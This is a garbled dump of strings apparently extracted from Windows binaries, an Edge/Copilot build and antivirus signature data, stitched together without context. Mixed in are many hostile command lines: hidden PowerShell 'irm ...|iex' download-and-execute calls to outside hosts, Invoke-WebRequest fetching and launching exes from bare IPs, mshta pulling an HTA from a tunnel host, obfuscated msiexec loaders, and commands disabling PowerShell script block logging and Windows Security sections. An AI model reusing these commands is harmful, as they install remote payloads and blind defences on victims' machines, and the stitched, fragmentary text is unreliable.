auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::hstring>,struct winrt::hstring>::Size(void) const
\dev\MRTCore\mrt\Microsoft.Windows.ApplicationModel.Resources\src\ResourceLoader.cpp
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::ResourceLoader(void)
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::ResourceLoader(const struct winrt::hstring &)
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::ResourceLoader(const struct winrt::hstring &,const struct winrt::hstring &)
struct winrt::hstring __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::GetDefaultResourceFilePath(void)
struct winrt::hstring __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceLoader::GetString(const struct winrt::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IStringable<struct winrt::Windows::Foundation::Uri>::ToString(void) const
hfs/heads/main/windowsexploor.bat"$batpath="$env:temp\$randomprogram'
:\WINDj3gHsystem32\dxgiadaptercache.exe"
system32\dxgiadaptercache.exe"
C	system32\dxgiadaptercache.exe"
Ssystem32\dxgiadaptercache.exe"
system32\dxgiadaptercache.exe"
global\gool %dwinlogon
c:\windows\fonts\
&os=MicrosoftWindowsXP&temp=
&https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSB_
jumu kartes datus. Ievadiet savu Windows paroli, lai to at
t paroles. Ievadiet savu Windows paroli, lai to at
t paroles. Ierakstiet savu Windows paroli, lai to at
t paroles. Ierakstiet savu Windows paroli, lai to at
su paroles. Ievadiet savu Windows paroli, lai to at
t paroles. Ievadiet savu Windows paroli, lai to at
rvaldnieka datus. Ierakstiet savu Windows paroli, lai to at
s paroles. Ierakstiet savu Windows paroli, lai to at
ma Windows 10 vai jaun
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might conta
{apowershell.exe-windowstylehidden"gdr;function
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-whid-epbypass-nop-c"irmhttps://srv510786.hstgr.cloud/ordinary.php?id=742d38cd1041c4111451ae970b522d69|iex"
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-whid-epbypass-nop-c"irmhttps://srv510786.hstgr.cloud/ordinary.php?id=b66c71feffab28c7eb5ebb1473eb5251|iex"
$c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-whid-epbypass-nop-c"irmhttps://srv510786.hstgr.cloud/ordinary.php?id=ca8ae548930672f8ef939f8853e8cb33|iex"
c:\windows\system32\cmd.exe/ccurl-o
cif(-not([security.principal.windowsprincipal][security.principal.windowsidentity]::getcurrent()).isinrole([security.principal.windowsbuiltinrole]'administrator'))
<exec><command>$($env:systemdrive)\windows\
3\powershell.exe</command><arguments>-windowstylehidden-file$($env:systemdrive)\windows\updates.ps1</arguments></exec>
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
windows 
 Windows 10 
swindows
winrt::Windows::Internal::InstallService::Control::implementation::InstallServiceControl::IsApplicableForUser
onecoreuap\enduser\winstore\installservice\libqueue2\windows.internal.installservice.control.installservicecontrol.cpp
winrt::Windows::Internal::InstallService::Control::implementation::InstallServiceControl::CreateInstallServiceWork
winrt::Windows::Internal::InstallService::Control::implementation::InstallServiceControl::ScheduleWorkWithUO
winrt::Windows::Internal::InstallService::Control::implementation::InstallServiceControl::PreSearchForPackageForUser::<lambda_14da898920b32352c027d6e8282870d8>::operator ()
*\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
UTERNAME=WINDOWS11,
+Windows+XP&User
%Microsoft Windows Production PCA 2011ping CA	
zC:\Windows\System32\wmsgapi.WmsgBroadcastMessage
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
c:\windows\system32\cmd
Microsoft.Windows.
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
 Windows
 Windows
\system32\
UninstallWindowsRE
dows\system32\
c:\\windows\system32\
c:\windows\system32\drivers\
c:\windows\
C:\Windows
C:\WINDOWS\system32\
C:\WINDOWS\system32\
*:\windows\explorer.exe*
0/windows/registry
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
SystemSettings.View.WindowsLicenseTextControl
Windows.ActionCenter.SmartOptOut
windows.fileTypeAssociation
Windows.Copilot.Recommendations
Windows.SystemToast.AccountHealth
Windows.SystemToast.AOMD.MainToast
Windows.SystemToast.Graphics.SR
Windows.SystemToast.PresenceSensing.OnlookerDetection
Windows.SystemToast.RecallSetup
Windows.SystemToast.WindowsStudio
amd64_microsoft-windows-edp-task.resources_31bf3856ad364e35_en-us_b423015e67aa4f50
amd64_microsoft-windows-edp-task_31bf3856ad364e35_none_bf98d057b0480469
amd64_microsoft-windows-edp-util.resources_31bf3856ad364e35_en-us_205f78c5d460efb1
amd64_microsoft-windows-edp-util_31bf3856ad364e35_none_c005fd23aff5e9dc
amd64_microsoft-windows-efs-core-library_31bf3856ad364e35_none_8b69aea4f743e280
amd64_microsoft-windows-efs-lsa-extension_31bf3856ad364e35_none_876f57449ea999b1
amd64_microsoft-windows-efs-platform-extension_31bf3856ad364e35_none_e56c2fe8352481d0
amd64_microsoft-windows-efs-rekeywiz.resources_31bf3856ad364e35_en-us_664d7785019e2802V~
amd64_microsoft-windows-efs-rekeywiz_31bf3856ad364e35_none_dd23a3313fad1273
amd64_microsoft-windows-efs-service.resources_31bf3856ad364e35_en-us_5bc5d2dd1c031b33
Windows.Data.Calling.CallHistory
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.PenSettings
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.Calling.CallFavoriteItem
Windows.Data.Globalization.LocaleInfo
Windows.Data.Input.Text.SpellerDictionary
Windows.Data.InternetExplorer.SettingUnit
Windows.Data.InternetExplorer.TypedURLs
Windows.Data.Input.Text.UnigramList
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Input.Text.LanguageUnigramList
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Globalization.LanguageSettings
Windows.Data.Calling.CallFavoritesLocalCache
Windows.Data.Input.Devices.PenPerDevice
Windows.Data.Platform.Encryption.FieldValue
Windows.Data.Platform.Partitioning.PartitionSet
           targetNamespace="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/heap/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/heap/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
    name="Microsoft.Windows.Audio.AudioDG"
<description>Windows Audio Device Graph Isolation</description>
policybypass-windows~
Windows Security Alert\?
~tNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
ava da popuni lozinke. Otkucajte svoju lozinku za Windows da biste to dozvolili.Ispravka za Microsoft CopilotcopilotupdateUsluga a
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microso
LdrpInitializePerUserWindowsDirectory
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
80^com.microsoft.windows.extension.shellhost.component
81^com.microsoft.windows.extension.shellhost.component
for previous versions of Windows]
made for previous versions of Windowsf
programs made for previous versions of Windows|
 Xbanned|blocker|filter|nanny|prevent|restrict|stopper|from|the|web|inet|internet|intrnet|net|online|on-line|sites|pages|webpages|websites|world|wide|www|ads|advertising|advertizing|adverts|adware|adwear|malware|ups|popupblocker|pop-upblocker|popups|pop-ups|popupstopper|spyware|spywear|unwanted|windows|privacy|secrecy|restricted|safety|secure|securing|security|sites|trusted|trusting|confg|configuration|configure|define|management|options|personalise|personalize|up|settings|setup|>
security|center|firewall|malware|virus|warning|windows|crash|antivirus|anti-virus|spyware|worm|trojan|C
Windows.Internal.Shell.CredUXHostForHighIL
SHSetWindowSubclass
/Microsoft Windows Third Party Component CA 20120
WindowsAppRuntime.1.8_8000.770.947
Windows@6@Uhstring@6
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
USERDOMAIN_ROAMINGPROFILE=Windows11X
	WINDOWS\system32\cmd.exeW
yWINDOWS
41^windows.updateTask
41^windows.preInstalledConfigTask
EnumWindows
..\..\..\..\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
c:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
;c:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
Pc:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
echo---disable"tpmfirmwareupdate"recommendationin"windowssecurity"
echo---disable"virusandthreatprotection"sectionin"windowssecurity"
DPOINT.WINDOWS(@
%SystemRoot%\System32\thinmon.dll
.Windows.
windows.imm
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewX
'Windows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy8	
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
c:\windows\calc1.exex
      <Color Name="ToolWindowShelf">
.?AU?$produce@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producers_base@UTextOnlyDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UTextOnlyDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIAppHistoryPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIAppHistoryPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producer@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
cmd.exepku-1/q/v/r^s^ta^r^t^msie^x^e^c/fv"http://0j.re:8080/yby73dcp/qzrcijoxzec6ts45qa/xnnmlwiwwv/!computername!"/q^ui^e^tbs^zcs^v=i^j^v^thmn%windir%\system32\shell32.dll
Dc:\windows\system32\cmd.exe/d/v/rs^t^ar^tm^s^ie^x^e^c-q^njs=^bipv^kb-^pac^k^a^ge"http://a0.pm:8080/ycaz0/wdsyecaxcjmlssu0b4/p/!computername!"^zyh^xk=^gbc^r^tqshell32.dll%w
 \oslo\juggles.cmdc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
-8c:\windows\system32\windowspowershell\v1.0\powershell.exe-wh-nop-noni-execbypass
/agenzia/server.exeiconfile=c:\windows\system32\shell32.dll[{000214a0-0000-0000-c000-000000000046}]prop3=19,9
!%systemroot%\system32\shell32.dll%systemroot%\\\\\system32\\\\rundll32.exe%systemroot%\\\\\system32\\\\rundll32.exe
C:\WINDOWS\SYSTEM32\
Windows Help System for X32 windows desktop
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
otos_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsAlarms_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"comexp.msc-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsCamera_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsStore_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"cmd.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"mRemoteNG.exe-Next Generation Software"}]},{"type":0,"iDs":[{"pfn":"Microsoft.YourPhone_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.ZuneMusic_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"taskschd.msc-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"perfmon.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"control.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"RecoveryDrive.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"charmap.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"cleanmgr.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"MdSched.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"msconfig.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"psr.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"msinfo32.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"narrator.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"odbcad32.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"services.msc-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"voiceaccess.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"WF.msc-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"powershell.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"PowerShell_ISE.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"Credits.txt-Next Generation Software"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"License.txt-Next Generation Software"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"Readme.txt-Next Generation Software"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"regedit.exe-Microsoft Corporation"}]}]}
DriverData=C:\Windows\System32\Drivers\DriverData
shell.exe*c:\windows\system32\windowspowershell\v1.0tinvoke-webrequest-uri'http://20.7.43.70/lteag.exe'-outfile$env:temp\file.exe;seta=ec;start$env:temp\file.ex
 Windows 
MC:\\Boot\memtest.exeFull Delphi Virus/Worm made By FuTuRaXC:\\Bat00100.batFACEHACKERC:\\WINDOWS\ServicePackFiles\i386\lang\tintsetp.exe!#ALFPER:Backdoor:Win64/Hargorat.A!dha
Rrat/socksfunc.gorat/simplenode_windows.gorat/shell_windows.gorat/reflect.gorat/rat.gorat/share/heartbeat.gorat.HanleClientSocksConn.func1rat.HandleDataFromUpperNode.func2!#HSTR:Win32/Guloader.KFDP123!MTB
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
windowsformsapp1.properties.resources.resourcesandroidiphoneourarray!#ALF:Trojan:MSIL/AsyncRat.NEB!MTB
c:\windows\system32\cmd.exe
eoutsignout").click(function(){$r.closeallwindows();});});//]]></script></b
start-process-windowstylehiddencmd
setshell=wsh.exec("powershell-windowstylehidden-noprofile-noninteractive-command"""&pscommand&
/cnegconrodl\bogpacsipr.cmdabcdefghijklmnopkrstuvwxyz0123456789c:\windows\system32\shell32.dll
c:\windows\system32\mshta.exe"\\consortium-event-watershed-worm.trycloudflare.com@ssl\davwwwroot\kak.hta"
;4`c:\windows\system32\forfiles.exe/pc:\windows/mwin.ini/c"powershell.mshtahttps://nextomax.b-cdn.net/nexto"
2"varrd=bbj.expandenvironmentstrings("%systemroot%")+"\\"+fldr+"\\windowspowershell\\v1.0\\powershell.exe"
executionpolicybypass-windowstylehidden-command"set-content'%~f0'-streamzone.identifier-value''">nul2>&1
powershell-windowstylehidden-executionpolicybypass-command"try{iwr'http
2.exe"#invoke-webrequest-uri"http://18.167.165.91/windowsupdate.msi"-outfile"c:\programdata\windowsupdate.msi"$pids=get-process|where-object{$_.processname-eq'cmd'}
PresentDialogOnAllBrowserWindows
Windows.ShouldPinToTaskbarResult
Windows.TaskbarPinResult
ms-windows-store://assoc
Notifications.Windows.LaunchIdDecodeStatus
Notifications.Windows.ActivationStatus
GetBiometricAvailabilityFromWindows
Microsoft.Process.WindowsAppCompatSetting
Windows.AutoDeElevateResult
Windows.ParentProcessNameHash
kErrorWindowsHelloNotEnabled
Chrome.ProcessSingleton.TerminationWaitErrorCode.Windows
Chrome.ProcessSingleton.TerminateProcessErrorCode.Windows
ProcessSingleton::NotifyOtherProcess:EnumThreadWindows
BatchUploadWindows10Depreciation
AvatarButtonBatchUploadWindows10DepreciationPromoShownCount
AvatarButtonBatchUploadWindows10DepreciationPromoUsedCount
Tabs.MaxWindowsInADay
Tabs.Duplicates.Count.AllProfileWindows
Tabs.Duplicates.Percentage.AllProfileWindows
Tabs.DuplicatesExcludingFragments.Count.AllProfileWindows
Tabs.DuplicatesExcludingFragments.Percentage.AllProfileWindows
Microsoft.Windows.IsEdgePinnedToTaskbar
WebAuthentication.Windows.KeyCredentialManagerSupported
Windows.PatchLevel
Windows.PatchLevelKernel32
Windows.HasHighResolutionTimeTicks
Windows.HasThreadTicks
Windows.ParallelDllLoadingEnabled
Windows.AcLayersLoaded
verification.windows
..\..\chrome\browser\tracing\windows_system_tracing_client_impl_win.cc
WindowsSystemTracing
edge-emulate-windows-sku
Only kiosk launches permitted in Windows assigned access
edge-proofreader-copilot-stagingedge-consumer-coer-copilot-flagste-lockdown-modeedge-emulate-locwindows-core-skuwindows-team-skuwindows-xbox-skusable-etw-eventsedge-disable-etw-experimentationedge-optin-experedge-widevine-drtp-cards-manageredge-ntp-cards-menable-extension-ai-data-collection
edge-emulate-windows-holographic-sku
Enable PWAs to set a custom title for their windows.
profiles.edge.windows_hello_for_http_auth_enabled
StartWindowsCopilotAccountMigration
edge.perf_center.efficiency_mode.active_due_to_windows_energy_saver
msCheckWindowsOsSettingForWebNotifications
msEdgeAppActionsOnWindowsForWebApps
msEnableBridgewaterBrowserInNormalWindowsForDebugging
msEdgeSplitWindowScreenShotControlButton
kEdgeMultipleNormalBrowserWindowsOpenedForProfile
EdgeLLM: Blocked registration on non-Desktop Windows SKU
ProcessSessionWindows
Granting access to LPAC process is not supported prior to Windows 10.
Choose the graphics backend for ANGLE. D3D11 is used on most Windows computers by default.
When enabled, the Edge NTP architecture switches to using the Studio-based NTP service on Linux, Windows, and macOS systems.
Use Skia/IPC to lookup fallback fonts on Windows.
Microsoft.Windows.1
When enabled, Picture-in-Picture windows will use a fade-in show animation. On Windows OS this is a no-op.
Enables the avatar button sync promo for eligible users. Only available on Windows.
windows-system-tracing
..\..\base\win\edge_windows_modes.cc
WldpQueryWindowsLockdownMode
Possible values are: dma, windows, edge, bing, deviceos
GetWindowsRegionPolicyStatus
..\..\base\win\windows_version.cc
WindowsVersion-major
WindowsVersion-minor
WindowsVersion-build
Windows.PdhQueryErrorCode
Windows.HighResolutionTimerUsage
Windows NT
MessagePumpForUI::ProcessNextWindowsMessage GetQueueStatus
MessagePumpForUI::ProcessNextWindowsMessage PeekMessage
GetWorkFromWindowsMessageQueue
OS=Windows_NT
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
windows-874
d3^com.microsoft.windows.extensionpackage
d5^com.microsoft.windows.extensionpackage
d8^com.microsoft.windows.extensionpackage
windowsZones
verificationsteps</h3><p>1.presswindowsbutton
.press<b>windows+r</b>toopentherundialog.</p>
8c:\windows\system32\rundll32.exes4pesa.dll,#1
c:\windows\
ws\system32\shell32.dllc:0
%Microsoft Windows Production PCA 2011
ml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$AppHistoryPage_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IUIElementOverridesT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
Windows Produc'
\\WINDOWS11\roo
Windows/wbem/root/cimv2:Win32_OperatingSystem
Windows/wbem/root/cimv2#.refresh
IntegratedWindowsAuthentication
GetProcessWindowStation
ToolWindowSelection
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
WINDOWS11
LocalPotato (aka CVE-2023-21746)by splinter_code & decoder_it[-] The privileged process failed to communicate with our COM Server :(Example: localpotato -i c:\hacker\evil.dll -o windows\system32\evil.dll-c CLSID (Default {854A20FB-2D44-457D-992F-EF13785D2B51})!#HSTR:Trojan:M
Lpowershell-noprofile-executionpolicybypass-windowstylehidden-c"curl-useb
[%s:%03d] set fake ie agent tagindex.php|uid|v|pi|if||windowsupdate|systeminfo;net use;net user;
c:\windows\svchost
C:\WINDOWS\TEMP\vmware-SYSTEM
C:\WINDOWS\TEMP\vmware-SYSTEM
system32
%s: Failed to get Windows path 0x%x
%homedrive%%homepath%z-noprofile-noninteractive-executionpolicybypass-windowstylehidden-commandset-variable
hklm\software\wow6432node\policies\microsoft\windows\powershell\scriptblocklogging/venablescriptblocklogging/treg_dword/d0/f`
\windows\(
%systemdrive%\windows\
N-able Technologies\Windows e
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
/vmware/configurations/vmtools/windows/tools.conf
